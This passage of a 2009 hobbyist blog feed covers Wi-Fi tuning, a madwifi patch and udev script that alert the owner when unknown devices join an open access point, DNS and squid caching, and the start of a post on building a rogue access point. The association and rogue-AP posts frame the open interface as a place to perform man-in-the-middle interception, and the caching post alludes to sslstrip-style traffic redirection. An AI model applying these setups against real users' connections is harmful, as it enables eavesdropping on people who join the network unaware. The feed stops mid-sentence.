can be changed through the &lt;span style="font-weight: bold;"&gt;fragmentation threshold&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;That's interesting to notice that your microwave oven is running at around 2GHz and Wifi is operating at 2.4GHz. Microwave ovens are studied to maximize the absorption by water (to warm it), and it happens to be at around 2GHz. What does it mean ? It means that when it's rainy, the signal is lost in... the rain, or in other words, the Wifi is somehow warming the rain. Thus, humidity acts as a wireless barrier.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;8) &lt;/span&gt;Have you ever looked at a wireless chip datasheet ? Here is a snippet.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/SoBTEBVDg3I/AAAAAAAAADI/8HFOfbrZ82c/s1600-h/2009-08-10-190330_260x127_scrot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 260px; height: 127px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/SoBTEBVDg3I/AAAAAAAAADI/8HFOfbrZ82c/s400/2009-08-10-190330_260x127_scrot.png" alt="" id="BLOGGER_PHOTO_ID_5368382084366959474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_VjvtY-L1RNE/SoBTNU8LRTI/AAAAAAAAADQ/bc81oaNTmww/s1600-h/2009-08-10-190347_264x54_scrot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 264px; height: 54px;" src="http://3.bp.blogspot.com/_VjvtY-L1RNE/SoBTNU8LRTI/AAAAAAAAADQ/bc81oaNTmww/s400/2009-08-10-190347_264x54_scrot.png" alt="" id="BLOGGER_PHOTO_ID_5368382244250142002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;What ca we see from the datasheet ?&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;The output power is maximized when the data rate is low.&lt;/li&gt;&lt;li&gt;The sensibility is maximized when the data rate is low (ie 1Mbps).&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;It makes sens to set the AP between 1-&gt;6Mbps, doesn't it ? We will increase the sensibility (ie we will "receive better"), and also increase the output power (ie we will "better send").  However, if you decrease *YOUR* bit rate, you will reserve the channel longer and thus, other people will see a drop down in their maximal bitrate.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;9) &lt;/span&gt;Decrease the power of your AP: if you are living in a very tiny place and you have access to the tx power (you are using &lt;a href="http://dd-wrt.com/dd-wrtv3/index.php"&gt;dd-wrt&lt;/a&gt; for example),  you can decrease it. Indeed, you will radiate less and thus you will decrease the problems you might have with the neighbourhood (with RTS/CTS for example, avoiding the &lt;a href="http://en.wikipedia.org/wiki/Exposed_terminal_problem"&gt;exposed terminal problem&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;9.2)&lt;/span&gt; Finally, when dealing with multiple user connected to an AP, we can hack the wireless driver to gain priority. Basically, there exist techniques to reserve the channel  more than usual (ie greedy user) and this will probably be a topic I'll discuss on this blog.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We are the end of our wifi-tips. I hope your learned something new and feel free to leave your impressions/comments.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-2979099272041012860?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/2979099272041012860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/9-hardcore-tips-to-boost-your-wifi.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2979099272041012860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2979099272041012860'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/9-hardcore-tips-to-boost-your-wifi.html' title='9 hardcore tips to boost your Wifi signal [that normal people don&apos;t know about]'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_VjvtY-L1RNE/SoBTEBVDg3I/AAAAAAAAADI/8HFOfbrZ82c/s72-c/2009-08-10-190330_260x127_scrot.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-493897947299524386</id><published>2009-08-10T17:21:00.005+02:00</published><updated>2009-08-10T18:11:52.267+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='madwifi'/><category scheme='http://www.blogger.com/atom/ns#' term='association'/><category scheme='http://www.blogger.com/atom/ns#' term='udev'/><category scheme='http://www.blogger.com/atom/ns#' term='driver'/><title type='text'>Trigger an event when someone (unknown) connects to the AP</title><content type='html'>To trigger an event when someone connects to my open AP, I had the following choices:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Get the output of hostapd. Indeed, when someone associates, hostapd outputs some stuff.&lt;/li&gt;&lt;li&gt;We can see the modifications in &lt;span style="font-weight: bold;"&gt;/proc/net/madwifi/athX/associated_sta&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; cat /proc/net/madwifi/ath0/associated_sta&lt;br /&gt;macaddr: &lt;00:11:f1:51:e6:10&gt; &lt;br /&gt;RSSI 30                     &lt;br /&gt;last_rx 0.013332            &lt;br /&gt;ni_tstamp          0 ni_rtsf 3567813500&lt;br /&gt;macaddr: &lt;00:11:77:ce:c1:13&gt; &lt;br /&gt;RSSI 22                     &lt;br /&gt;last_rx 0.003333            &lt;br /&gt;ni_tstamp          0 ni_rtsf 3567821275&lt;/pre&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;We can modify the madwifi driver to trigger some special event.&lt;/li&gt;&lt;/ul&gt;Actually, I chose the 3rd option, because it was the cleanest one in my opinion. Since I don't have a big experience with kernel programming, I first googled a little and found &lt;a href="http://www.c0nc3pt.com/patches/access-point-events-in-madwifi-ng-094"&gt;this&lt;/a&gt;. That was exactly what I was looking for. Besides, it was even easier to what I was doing (playing with inotify...).&lt;br /&gt;&lt;br /&gt;I just could not use his patch, because I am using madwifi-hal-0.10.5.6/ in the branch/, since I had &lt;a href="http://life-is-a-hack.blogspot.com/2009/07/stuck-bacon-nightmare.html"&gt;big problems with stuck beacons&lt;/a&gt;. Basically, what you have to do, is find the function responsible for association (supposing you want to do something when a new association occurs). In the file &lt;span style="font-style: italic;"&gt;madwifi-hal-0.10.5.6/ath/if_ath.c&lt;/span&gt;, you will find the &lt;span style="font-style: italic;"&gt;ath_newassoc(...) &lt;/span&gt;function, that after patching will become:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="C"&gt;&lt;br /&gt;static void                                                                                                                         &lt;br /&gt;ath_newassoc(struct ieee80211_node *ni, int isnew)                                                                                  &lt;br /&gt;{                                                                                                                                   &lt;br /&gt;        struct ieee80211com *ic = ni-&gt;ni_ic;                                                                                        &lt;br /&gt;        struct ieee80211vap *vap = ni-&gt;ni_vap;                                                                                      &lt;br /&gt;        struct ath_softc *sc = netdev_priv(ic-&gt;ic_dev);                                                                             &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        /* Kernel Object Event patch (dmr@c0nc3pt.com) */                                                                           &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        struct kobject *kobj = &amp;vap-&gt;iv_dev-&gt;dev.kobj;                                                                              &lt;br /&gt;        char atd[12], mac[4+18], bss[4+18];                                                                                         &lt;br /&gt;        char *envp_ext[] = {                                                                                                        &lt;br /&gt;          atd,                                                                                                                      &lt;br /&gt;          mac,                                                                                                                      &lt;br /&gt;          bss,                                                                                                                      &lt;br /&gt;          NULL                                                                                                                      &lt;br /&gt;        };                                                                                                                          &lt;br /&gt;                                                                                                                                    &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        sc-&gt;sc_rc-&gt;ops-&gt;newassoc(sc, ATH_NODE(ni), isnew);                                                                          &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        /* are we supporting compression? */                                                                                        &lt;br /&gt;        if (!(vap-&gt;iv_ath_cap &amp; ni-&gt;ni_ath_flags &amp; IEEE80211_NODE_COMP))                                                            &lt;br /&gt;                ni-&gt;ni_ath_flags &amp;= ~IEEE80211_NODE_COMP;                                                                           &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        /* disable compression for TKIP */                                                                                          &lt;br /&gt;        if ((ni-&gt;ni_ath_flags &amp; IEEE80211_NODE_COMP) &amp;&amp;                                                                             &lt;br /&gt;                (ni-&gt;ni_wpa_ie != NULL) &amp;&amp;                                                                                          &lt;br /&gt;                (ni-&gt;ni_rsn.rsn_ucastcipher == IEEE80211_CIPHER_TKIP))                                                              &lt;br /&gt;                ni-&gt;ni_ath_flags &amp;= ~IEEE80211_NODE_COMP;                                                                           &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        ath_setup_keycacheslot(sc, ni);                                                                                             &lt;br /&gt;#ifdef ATH_SUPERG_XR                                                                                                                &lt;br /&gt;        if (1) {                                                                                                                    &lt;br /&gt;                struct ath_node *an = ATH_NODE(ni);                                                                                 &lt;br /&gt;                if (ic-&gt;ic_ath_cap &amp; an-&gt;an_node.ni_ath_flags &amp; IEEE80211_ATHC_XR)                                                  &lt;br /&gt;                        an-&gt;an_minffrate = ATH_MIN_FF_RATE;                                                                         &lt;br /&gt;                else                                                                                                                &lt;br /&gt;                        an-&gt;an_minffrate = 0;                                                                                       &lt;br /&gt;                ath_grppoll_period_update(sc);                                                                                      &lt;br /&gt;        }                                                                                                                           &lt;br /&gt;#endif                                                                                                                              &lt;br /&gt;        /* KOE: feel free to add whatever you want... :-) */                                                                        &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        snprintf(atd, sizeof(atd), "ASSOCIATE=%c", isnew ? '1' : '0');                                                              &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        snprintf(mac, sizeof(mac), "MAC=%02x:%02x:%02x:%02x:%02x:%02x",                                                             &lt;br /&gt;                 ni-&gt;ni_macaddr[0], ni-&gt;ni_macaddr[1],                                                                              &lt;br /&gt;                 ni-&gt;ni_macaddr[2], ni-&gt;ni_macaddr[3],                                                                              &lt;br /&gt;                 ni-&gt;ni_macaddr[4], ni-&gt;ni_macaddr[5]);                                                                             &lt;br /&gt;                                                                                                                                    &lt;br /&gt;        snprintf(bss, sizeof(bss), "BSS=%02x:%02x:%02x:%02x:%02x:%02x",                                                             &lt;br /&gt;                 ni-&gt;ni_bssid[0], ni-&gt;ni_bssid[1],                                                                                  &lt;br /&gt;                 ni-&gt;ni_bssid[2], ni-&gt;ni_bssid[3],                                                                                  &lt;br /&gt;                 ni-&gt;ni_bssid[4], ni-&gt;ni_bssid[5]);      &lt;br /&gt;        if (kobject_uevent_env(kobj, KOBJ_CHANGE, envp_ext) &lt; 0) {                                                                  &lt;br /&gt;          printk(KERN_ERR "madwifi-ng kobject trouble!\n");                                                                         &lt;br /&gt;        }                                                                                                                           &lt;br /&gt;} &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I find the way the event is set up is very clear and easy to understand. Then, after that, you recompile your sources and load the module.&lt;br /&gt;&lt;br /&gt;Here comes the interesting part: setting a udev rule to catch the event. I was pissed off because it didn't work the way the guy was describing. Actually, since there was a typo, udev didn't catch the event.&lt;br /&gt;Let see how to build a udev event.&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; udevadm monitor --kernel --environment&lt;br /&gt;monitor will print the received events for:&lt;br /&gt;KERNEL - the kernel uevent&lt;br /&gt;&lt;br /&gt;KERNEL[1249918765.975675] change   /devices/pci0000:00/0000:00:0e.0/net/ath0 (net)&lt;br /&gt;UDEV_LOG=0&lt;br /&gt;ACTION=change&lt;br /&gt;DEVPATH=/devices/pci0000:00/0000:00:0e.0/net/ath0&lt;br /&gt;SUBSYSTEM=net&lt;br /&gt;ASSOCIATE=1&lt;br /&gt;MAC=00:26:11:A1:71:11&lt;br /&gt;BSS=06:C0:B3:A3:b5:d8&lt;br /&gt;INTERFACE=ath0&lt;br /&gt;IFINDEX=8&lt;br /&gt;SEQNUM=942&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Basically, udevadm gives us the fields to enter to make our rule.&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; cat /etc/udev/rules.d/99-wlan-association.rules &lt;br /&gt;SUBSYSTEM=="net", ACTION=="change", ASSOCIATE=="1", RUN+="/home/root/scripts/assoc.sh"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If you want to be more precise with the udev rule, just add a new field, like the INTERFACE for example. In my case, I found this as being just great. Upon even, the script assoc.sh is executed.&lt;br /&gt;&lt;br /&gt;Let see what this script does (as an example):&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;set $*&lt;br /&gt;FILE=/home/root/scripts/macaddr.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RESULT=`grep ${MAC} $FILE`&lt;br /&gt;if [ ! $RESULT ]&lt;br /&gt;then&lt;br /&gt;    sms myself "${MAC} associated with ${BSS} (${INTERFACE})" &lt;br /&gt;fi&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The file &lt;span style="font-style:italic;"&gt;macaddr.txt&lt;/span&gt; contains known MAC addresses. If grep does not find the MAC address in this file, it means that we don't know the guy that connected and the box &lt;a href="http://life-is-a-hack.blogspot.com/2009/06/small-hack-for-web-apps.html"&gt;sends me a sms&lt;/a&gt;. Cool, isn't it ? Now we can do on-demand-MITM (or on-association-MITM). &lt;br /&gt;&lt;br /&gt;Again, greetz to &lt;a href="http://www.c0nc3pt.com/patches/access-point-events-in-madwifi-ng-094"&gt;dmr&lt;/a&gt; who did the kevent stuff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-493897947299524386?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/493897947299524386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/trigger-event-when-someone-unknown.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/493897947299524386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/493897947299524386'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/trigger-event-when-someone-unknown.html' title='Trigger an event when someone (unknown) connects to the AP'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-6901468131324201870</id><published>2009-08-04T20:10:00.013+02:00</published><updated>2009-08-04T22:51:56.037+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='alix3d3'/><category scheme='http://www.blogger.com/atom/ns#' term='boost'/><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><title type='text'>Cache it, cache it, cache it!</title><content type='html'>Now that we have a [semi] working box, we can "boost" the connection by adding caching.  We can add caching for:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;dns queries: We already did that when setting up &lt;span style="font-style: italic;"&gt;dnsmasq&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Web: a squid proxy will do the job.&lt;/li&gt;&lt;/ul&gt;Even if dnsmasq was extremely easy to configure, it has a big disadvantage: it does not keep the cache between two reboots. Personally, my box reboots at least once a day, so if I can keep the cache it would be great. After googling for a while, I figured out that dnsmasq does not have permanent caching :(. That's very sad. However, there is another another proxy dns server called &lt;a href="http://www.phys.uu.nl/%7Erombouts/pdnsd.html"&gt;pdnsd&lt;/a&gt;, keeping the cache permanently, ie surviving the reboots.&lt;br /&gt;&lt;br /&gt;Here is my configuration file:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;global {&lt;br /&gt;      perm_cache=1024;&lt;br /&gt;      cache_dir="/var/cache/pdnsd";&lt;br /&gt;      run_as="nobody";&lt;br /&gt;      server_ip = ath0;  # Use eth0 here if you want to allow other&lt;br /&gt;                              # machines on your network to query pdnsd.&lt;br /&gt;      status_ctl = on;&lt;br /&gt;                         # but may make pdnsd less efficient, unfortunately.&lt;br /&gt;      query_method=udp_tcp;&lt;br /&gt;      min_ttl=15m;       # Retain cached entries at least 15 minutes.&lt;br /&gt;      max_ttl=2w;        #&lt;br /&gt;      timeout=10;        # Global timeout option (10 seconds).&lt;br /&gt;      server_port=53;&lt;br /&gt;      daemon=on;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;server {&lt;br /&gt;      ip="83.219.127.194";&lt;br /&gt;      label= "resolvconf";&lt;br /&gt;                         # This may be necessary if you are behind some&lt;br /&gt;                         # kind of firewall and cannot receive replies&lt;br /&gt;                         # from outside name servers.&lt;br /&gt;      timeout=4;         # Server timeout; this may be much shorter&lt;br /&gt;                         # that the global timeout option.&lt;br /&gt;      uptest=if;         # Test if the network interface is active.&lt;br /&gt;      interface=ath0;    # The name of the interface to check.&lt;br /&gt;      interval=10m;      # Check every 10 minutes.&lt;br /&gt;      purge_cache=off;   # Keep stale cache entries in case the ISP's&lt;br /&gt;                         # DNS servers go offline.&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I put &lt;span style="font-weight: bold;"&gt;server_ip = ath0 &lt;/span&gt;to listen to my WPA encrypted interface. The IP entry is one of the /etc/resolv.conf file. This is not really interesting to have to import manually the nameserver from resolv.conf, but it is not really hard to do a small script that does it. There are plenty of ressources for that &lt;a href="http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;q=pdnsd+howto&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi="&gt;on the net&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If the router's IP address is 192.168.100.1, you have to add "nameserver 192.168.100.1" to the client's resolv.conf. Then, you can test that it is working properly (from the client):&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;&gt; dig @192.168.100.1 mycokemusic.ch mx&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;mycokemusic.ch.                        IN      MX&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;mycokemusic.ch.         3600    IN      MX      10 mx.eunet.at.&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;mycokemusic.ch.         3587    IN      NS      ns3.ko.com.&lt;br /&gt;mycokemusic.ch.         3587    IN      NS      ns4.ko.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns3.ko.com.             123575  IN      A       205.160.52.52&lt;br /&gt;ns4.ko.com.             49422   IN      A       205.160.52.53&lt;br /&gt;&lt;br /&gt;;; Query time: 365 msec&lt;br /&gt;;; SERVER: 192.168.100.1#53(192.168.100.1)&lt;br /&gt;;; WHEN: Tue Aug  4 20:34:38 2009&lt;br /&gt;;; MSG SIZE  rcvd: 133&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&gt; dig @192.168.100.1 mycokemusic.ch mx&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;mycokemusic.ch.                        IN      MX&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;mycokemusic.ch.         3597    IN      MX      10 mx.eunet.at.&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;mycokemusic.ch.         3584    IN      NS      ns3.ko.com.&lt;br /&gt;mycokemusic.ch.         3584    IN      NS      ns4.ko.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns3.ko.com.             123572  IN      A       205.160.52.52&lt;br /&gt;ns4.ko.com.             49419   IN      A       205.160.52.53&lt;br /&gt;&lt;br /&gt;;; Query time: 1 msec&lt;br /&gt;;; SERVER: 192.168.100.1#53(192.168.100.1)&lt;br /&gt;;; WHEN: Tue Aug  4 20:34:41 2009&lt;br /&gt;;; MSG SIZE  rcvd: 133&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We passed from 365ms to 1ms, which is not bad.  Note that since we are not using dnmasq for its dns proxy settings, we have to deactivate it. I did not find how to disable it, so I simply added &lt;span style="font-weight: bold;"&gt;port=1&lt;/span&gt; to the&lt;span style="font-style: italic;"&gt; dnsmasq.conf&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Now it's time for squid. As you probably now, squid has a feature called "&lt;a href="http://www.deckle.co.za/squid-users-guide/Accelerator_Mode"&gt;accelerator mode&lt;/a&gt;". The idea here is that we want to configure the proxy and the user not to have to configure it manually (ie transparent proxying).&lt;br /&gt;I did not change a lot from the squid.conf default file. I added the following at the end of the file:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;acl port80 port 80&lt;br /&gt;http_access allow port80&lt;br /&gt;always_direct allow all&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I also changed the file were the cache is written, due to the partitioning of my CF. &lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;cache_mem 100 MB&lt;br /&gt;cache_dir ufs /home/squid/ 100 16 256&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After that, squid is opened on port 3128. We want to redirect all the http traffic toward the squid proxy (the same way we did for sslstrip)&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;iptables -t nat -A PREROUTING -i ath0 -p tcp --dport 80 -j REDIRECT --to-port 3128&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;From the client, you should be able to connect to the net, without having to modify the network settings of your browser.&lt;br /&gt;&lt;br /&gt;By using these two caching methods we substantially decreased the amount of internet traffic ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-6901468131324201870?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/6901468131324201870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/cache-it-cache-it-cache-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6901468131324201870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6901468131324201870'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/cache-it-cache-it-cache-it.html' title='Cache it, cache it, cache it!'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-2861069180988534261</id><published>2009-07-30T22:01:00.003+02:00</published><updated>2009-08-03T23:00:26.827+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='madwifi'/><category scheme='http://www.blogger.com/atom/ns#' term='stuck beacon'/><title type='text'>The stuck bacon nightmare</title><content type='html'>Everything was going so well that it could not continue. The driver is giving me stuck beacons that reset the AP and make it unusable. RAA&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;wifi0: ath_bstuck_tasklet: Stuck beacon; resetting (beacon miss count: 11)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This is a well known issue, though.  &lt;a href="http://madwifi-project.org/wiki/StuckBeacon%20"&gt;Some people&lt;/a&gt; try to tweak the parameters, others have some voodoo techniques that did not work for me. Now I am patching ath5k to support &lt;span style="font-style: italic;"&gt;master mode&lt;/span&gt;, but it is not really working.&lt;br /&gt;&lt;br /&gt;Now, I am trying the wireless-testing branch of the kernel, with the last drivers available, we'll see...&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;EDIT:&lt;/span&gt; Finally, I tried a bunch of different stuff to make it work, without success. However, I was able to decrease somehow the number of Stuck beacon by doing the following:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Downloading madwfi on the repository (http://madwifi-project.org/svn)&lt;/li&gt;&lt;li&gt;in ath/if_ath_pci.c, we can tweak the PCI latency: pci_write_config_byte(pdev, PCI_LATENCY_TIMER, &lt;span style="font-weight: bold;"&gt;0x20&lt;/span&gt;);&lt;/li&gt;&lt;li&gt;Do the voodoo stuff as described in &lt;a href="http://madwifi-project.org/wiki/StuckBeacon%20"&gt;here&lt;/a&gt;&lt;/li&gt;&lt;li&gt;You can try to switch to &lt;span style="font-weight: bold;"&gt;ath5k&lt;/span&gt;,  but master mode was not really successful on my side.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-2861069180988534261?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/2861069180988534261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/stuck-bacon-nightmare.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2861069180988534261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2861069180988534261'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/stuck-bacon-nightmare.html' title='The stuck bacon nightmare'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-4777701734037173101</id><published>2009-07-26T13:24:00.022+02:00</published><updated>2009-08-05T08:29:42.554+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rogue AP'/><category scheme='http://www.blogger.com/atom/ns#' term='alix3d3'/><category scheme='http://www.blogger.com/atom/ns#' term='MITM'/><title type='text'>A very rogue access point: MITM is BACK !</title><content type='html'>My alix3d3 is becoming little by little a nice Wifi powered router/access point. Previously, we have seen how to make an access point from it. Now, we will see how to make a home router and even more.&lt;br /&gt;&lt;br /&gt;For our experiment, I will use an AR5413 based card (ath_pci module). The network infrastructure looks the following:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/SmxEit4FHQI/AAAAAAAAADA/Gcoch1ucm5s/s1600-h/mitm.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 223px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/SmxEit4FHQI/AAAAAAAAADA/Gcoch1ucm5s/s400/mitm.png" alt="" id="BLOGGER_PHOTO_ID_5362736619512470786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Basically, we have the physical interface (wifi0) and on the top of that, we create 3 different virtual interfaces:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;ath0: an encrypted interface, we use for example wpa2.&lt;/li&gt;&lt;li&gt;ath1: an open interface on which everybody will be able to connect. On this one we will perform a "Man-in-the-middle" attack.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;ath2: is our interface that is in "managed" mode, and will be the one that will provide Internet. It could be an ethernet interface.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Now that we have in mind the network map, we can start working. we will separate the work in different steps:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Create the virtual interfaces&lt;/li&gt;&lt;li&gt;create the access points with hostapd&lt;/li&gt;&lt;li&gt;Provide internet&lt;/li&gt;&lt;li&gt;Set the man in the 